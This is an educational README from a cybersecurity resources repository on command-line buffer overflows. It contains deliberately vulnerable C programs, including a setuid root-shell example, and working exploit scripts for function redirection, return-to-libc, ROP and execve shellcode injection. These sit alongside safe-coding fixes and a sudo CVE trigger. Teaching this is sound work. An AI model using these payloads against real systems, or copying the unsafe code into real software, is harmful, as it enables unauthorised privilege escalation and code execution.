cyber-security-resources/buffer-overflow-examples/examples/03-cli-overflow
2025-11-16 23:02:48 -05:00
..
README.md Remove outdated buffer overflow examples and documentation; introduce new resources and examples for buffer overflow exploitation, including updated README files, code examples, and educational materials. This commit aims to enhance the learning experience for users exploring buffer overflow concepts and techniques. 2025-11-16 23:02:48 -05:00

Command Line Argument Buffer Overflow

Overview

This example focuses on buffer overflows triggered through command-line arguments. Unlike standard input vulnerabilities, command-line argument overflows are particularly dangerous because they can be exploited through shell scripts, batch files, or automated systems that call vulnerable programs.

Why Command-Line Arguments?

Real-World Relevance

Common Scenarios:

  • System utilities executed by scripts
  • Programs called by other programs
  • Setuid/setgid binaries (privilege escalation)
  • Automated processing pipelines
  • CGI scripts and web applications calling binaries

Attack Vectors:

  • Shell scripts with insufficient input validation
  • Environment variables passed to programs
  • Automated job processors
  • Inter-process communication
  • File handlers and protocol handlers

Example: Vulnerable Command-Line Program

The Vulnerable Code

#include <stdio.h>
#include <string.h>

void process_input(char *input) {
    char buffer[64];  // Fixed-size buffer
    
    // VULNERABLE: No bounds checking!
    strcpy(buffer, input);
    
    printf("Processing: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <input>\n", argv[0]);
        return 1;
    }
    
    process_input(argv[1]);
    
    printf("Done!\n");
    return 0;
}

Create the Example

Save the code above as cli_vuln.c and compile:

gcc cli_vuln.c -o cli_vuln -fno-stack-protector -z execstack -m32 -g

Exploitation Workflow

Step 1: Normal Operation

./cli_vuln "Hello, World!"
# Output: Processing: Hello, World!
#         Done!

Step 2: Trigger a Crash

./cli_vuln "$(python3 -c 'print("A" * 100)')"
# Output: Processing: AAAAAAA...
#         Segmentation fault (core dumped)

Step 3: Find the Offset

# Generate a unique pattern
pattern=$(python3 -c "
import string
pattern = ''
for i in range(100):
    pattern += chr(65 + (i % 26))
print(pattern)
")

# Run with pattern
./cli_vuln "$pattern"

# Debug to find offset
gdb ./cli_vuln
(gdb) run "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMM"
(gdb) info registers eip

Step 4: Control Execution

# Find address of a target function or shellcode
objdump -d cli_vuln | grep process_input

# Craft exploit payload (example)
./cli_vuln "$(python3 -c 'print("A"*76 + "\xef\xbe\xad\xde")')"

Advanced Example: Privilege Escalation Scenario

Setuid Binary Exploitation

Create a more realistic vulnerable setuid program:

// privesc_vuln.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void admin_function() {
    printf("*** ADMIN MODE ACTIVATED ***\n");
    setuid(0);  // Attempt to become root
    setgid(0);
    system("/bin/sh");  // Spawn shell with elevated privileges
}

void process_command(char *cmd) {
    char buffer[100];
    strcpy(buffer, cmd);  // VULNERABLE!
    printf("Executing: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <command>\n", argv[0]);
        return 1;
    }
    
    printf("System Utility v1.0\n");
    process_command(argv[1]);
    
    return 0;
}

Compilation (Privilege Escalation Setup)

# Compile
gcc privesc_vuln.c -o privesc_vuln -fno-stack-protector -z execstack -m32

# Make it setuid root (ONLY IN TEST ENVIRONMENTS!)
sudo chown root:root privesc_vuln
sudo chmod u+s privesc_vuln

# Verify setuid bit
ls -l privesc_vuln
# Should show: -rwsr-xr-x ... root root ... privesc_vuln

Exploitation Strategy

Goal: Overflow buffer to redirect execution to admin_function()

# Find admin_function address
objdump -d privesc_vuln | grep admin_function
# Example: 08048456 <admin_function>

# Calculate offset (typically 112-116 bytes for 100-byte buffer + saved EBP)
# Craft payload
python3 << 'EOF'
import struct

admin_addr = 0x08048456  # Replace with actual address
offset = 112  # Adjust based on your findings

payload = b"A" * offset + struct.pack("<I", admin_addr)
print(payload.decode('latin-1'))
EOF

# Execute exploit
./privesc_vuln "$(python3 exploit.py)"

Common Command-Line Vulnerability Patterns

Pattern 1: Direct Argument Copy

// VULNERABLE
int main(int argc, char *argv[]) {
    char buffer[50];
    strcpy(buffer, argv[1]);  // No size check
}

Fix:

// SAFE
int main(int argc, char *argv[]) {
    char buffer[50];
    if (strlen(argv[1]) >= sizeof(buffer)) {
        fprintf(stderr, "Argument too long\n");
        return 1;
    }
    strcpy(buffer, argv[1]);
}

Pattern 2: Multiple Argument Concatenation

// VULNERABLE
int main(int argc, char *argv[]) {
    char buffer[100];
    buffer[0] = '\0';
    for (int i = 1; i < argc; i++) {
        strcat(buffer, argv[i]);  // No bounds checking!
        strcat(buffer, " ");
    }
}

Fix:

// SAFE
int main(int argc, char *argv[]) {
    char buffer[100];
    size_t remaining = sizeof(buffer) - 1;
    char *ptr = buffer;
    
    for (int i = 1; i < argc && remaining > 0; i++) {
        size_t len = strlen(argv[i]);
        if (len > remaining) len = remaining;
        
        memcpy(ptr, argv[i], len);
        ptr += len;
        remaining -= len;
        
        if (remaining > 0) {
            *ptr++ = ' ';
            remaining--;
        }
    }
    *ptr = '\0';
}

Pattern 3: Format String + Argument

// VULNERABLE
int main(int argc, char *argv[]) {
    char buffer[100];
    sprintf(buffer, "User input: %s", argv[1]);  // No size check
}

Fix:

// SAFE
int main(int argc, char *argv[]) {
    char buffer[100];
    snprintf(buffer, sizeof(buffer), "User input: %s", argv[1]);
}

Exploitation Techniques

Technique 1: Return-to-libc

When DEP/NX is enabled (stack not executable):

#!/usr/bin/env python3
import struct

# Addresses (find using objdump, gdb, or checksec)
system_addr = 0xb7e42da0  # Address of system() in libc
exit_addr = 0xb7e369d0    # Address of exit() in libc
sh_string = 0xb7f6a06b     # Address of "/bin/sh" string in libc

offset = 76  # Offset to return address

# Payload structure: [padding][system][exit][/bin/sh]
payload = b"A" * offset
payload += struct.pack("<I", system_addr)
payload += struct.pack("<I", exit_addr)
payload += struct.pack("<I", sh_string)

print(payload.decode('latin-1'))

Technique 2: ROP Chain

For more complex exploitation with ASLR:

#!/usr/bin/env python3
import struct

# ROP gadgets (find using ropper or ROPgadget)
pop_eax = 0x080483d1  # pop eax; ret
pop_ebx = 0x080481c9  # pop ebx; ret
int_80 = 0x08048420   # int 0x80

offset = 76

# Build ROP chain for execve("/bin/sh", NULL, NULL)
rop = b"A" * offset
rop += struct.pack("<I", pop_eax)
rop += struct.pack("<I", 0x0b)  # execve syscall number
rop += struct.pack("<I", pop_ebx)
rop += struct.pack("<I", sh_string_addr)
# ... (simplified example)

print(rop.decode('latin-1'))

Technique 3: Shellcode Injection

When stack is executable:

#!/usr/bin/env python3
import struct

# 32-bit Linux execve shellcode (25 bytes)
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    b"\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
)

# NOP sled
nop_sled = b"\x90" * 50

# Estimate stack address (or find with GDB)
buffer_addr = 0xbffff600  # Example address

offset = 76

# Payload: [NOP sled][shellcode][padding][return address]
payload = nop_sled + shellcode
payload += b"A" * (offset - len(payload))
payload += struct.pack("<I", buffer_addr + 10)  # Jump into NOP sled

print(payload.decode('latin-1'))

Defensive Programming

Validate All Inputs

int main(int argc, char *argv[]) {
    // Check argument count
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <input>\n", argv[0]);
        return 1;
    }
    
    // Validate argument length
    size_t arg_len = strlen(argv[1]);
    if (arg_len > MAX_INPUT_SIZE) {
        fprintf(stderr, "Error: Input too long (max %d bytes)\n", 
                MAX_INPUT_SIZE);
        return 1;
    }
    
    // Validate argument content (example: alphanumeric only)
    for (size_t i = 0; i < arg_len; i++) {
        if (!isalnum(argv[1][i]) && argv[1][i] != '_') {
            fprintf(stderr, "Error: Invalid characters in input\n");
            return 1;
        }
    }
    
    // Now safe to process
    process_input(argv[1]);
    return 0;
}

Use Safe Functions

// Instead of strcpy
strncpy(buffer, argv[1], sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';

// Instead of sprintf
snprintf(buffer, sizeof(buffer), "Input: %s", argv[1]);

// Instead of strcat
strncat(buffer, argv[1], sizeof(buffer) - strlen(buffer) - 1);

Real-World Case Studies

Sudo (CVE-2021-3156) - Baron Samedit

Vulnerability: Heap-based buffer overflow in sudo's argument parsing Impact: Local privilege escalation on Linux/Unix systems Affected: sudo versions 1.8.2 through 1.9.5p1 Exploit: Specially crafted command-line arguments

# Exploit example (simplified)
sudoedit -s '\' $(python3 -c 'print("A"*1000)')

exim4 (CVE-2010-4344)

Vulnerability: Buffer overflow in command-line argument handling Impact: Remote code execution as root Affected: Exim versions < 4.69 Exploit: Long argument to mail delivery

Practice Challenges

Challenge 1: Basic Overflow (Easy)

Create a program that takes a command-line argument and crashes it with a buffer overflow.

Challenge 2: Offset Finding (Medium)

Given the cli_vuln program, determine the exact offset to the return address using pattern generation.

Challenge 3: Function Redirection (Medium-Hard)

Craft an input that redirects execution to a specific function in the binary.

Challenge 4: Privilege Escalation (Hard)

Exploit the privesc_vuln setuid binary to gain a root shell (in a VM!).

Challenge 5: Bypassing Filters (Advanced)

Modify your exploit to work when certain characters are filtered (e.g., no spaces, no null bytes).

Testing & Debugging

GDB Workflow

# Start GDB with arguments
gdb --args ./cli_vuln "AAAA"

# Or run with arguments in GDB
gdb ./cli_vuln
(gdb) run "AAAAAAAAAAAA"

# Set breakpoint before vulnerable function
(gdb) break process_input
(gdb) run "$(python3 -c 'print("A"*100)')"

# Examine stack
(gdb) x/50wx $esp

# Check registers after crash
(gdb) info registers

# Backtrace
(gdb) backtrace

Finding Offsets with Core Dumps

# Enable core dumps
ulimit -c unlimited

# Run program to crash
./cli_vuln "$(python3 -c 'print("A"*100)')"

# Analyze core dump
gdb ./cli_vuln core
(gdb) info registers eip
(gdb) x/20wx $esp

Key Takeaways

  1. Command-line arguments are user input - Treat them as untrusted
  2. Validate before use - Check length, content, and format
  3. Setuid binaries are critical targets - Extra care needed
  4. Environment matters - Shell escaping, quotes, and encoding affect exploitation
  5. Defense in depth - Combine input validation, safe functions, and system protections

Next Steps

References


⚠️ Security Warning: These techniques are for educational purposes in controlled environments only. Exploiting vulnerabilities in systems you don't own or have permission to test is illegal and unethical.